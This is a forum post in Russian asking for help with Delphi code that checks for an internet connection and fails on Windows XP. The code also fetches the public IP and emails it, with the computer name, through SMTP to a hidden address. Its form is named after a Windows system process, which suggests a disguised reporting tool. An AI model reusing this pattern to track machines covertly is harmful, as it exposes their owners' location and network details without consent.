Доброе времени суток! У меня проблема с платформами. Есть код которая проверяет наличия подключения интернета на компьютере. На windows 7 работает нормально, а на XP не работает
| Код |
function IsConnectedToInternet: Boolean;
var
dwConnectionTypes: DWORD;
begin
dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;
|
| Код |
procedure TTaskHostWin.Timer1Timer(Sender: TObject);
var
len:string;
num:integer;
port:integer;
begin
if IsConnectedToInternet then
begin
edit1.Text:='';
len:=idhttp1.get('http://www.myip.ru/get_ip.php');
num:=pos('<TD bgcolor=white align=center valign=middle>',len)+45;
delete(len,1,num);
len:=copy(idhttp1.get('http://www.myip.ru/get_ip.php'), num, pos('<',len));
edit1.Text:=len;
if edit1.Text<>s then
begin
port:=587 ;
IdSMTP1.Host:=('smtp.yandex.ru'); //Хост (указываем почтовый сервер)
IdSMTP1.Port:=port;//Порт SMTP(25)
IdSMTP1.Username:='*******'; //Логин
IdSMTP1.Password:='*******'; //Пасс
IdMessage1.Body .Text:=edit1.Text;//Здесь IP'шник
IdMessage1.From.Text:='*******';//От кого
IdMessage1.Recipients.EMailAddresses:='********';//Кому письмо
IdMessage1.Subject:='New IP!' + GetComputerNetName;//Тема письма
IdSmtp1.Connect();//Rонектимся
if IdSMTP1.Connected then //Если конект есть то
IdSMTP1.Send(IdMessage1);//Шлём письмо
idSMTP1.Disconnect;//Дисконект
s:=edit1.Text;
end;
end;
|
В чем может быть проблема? |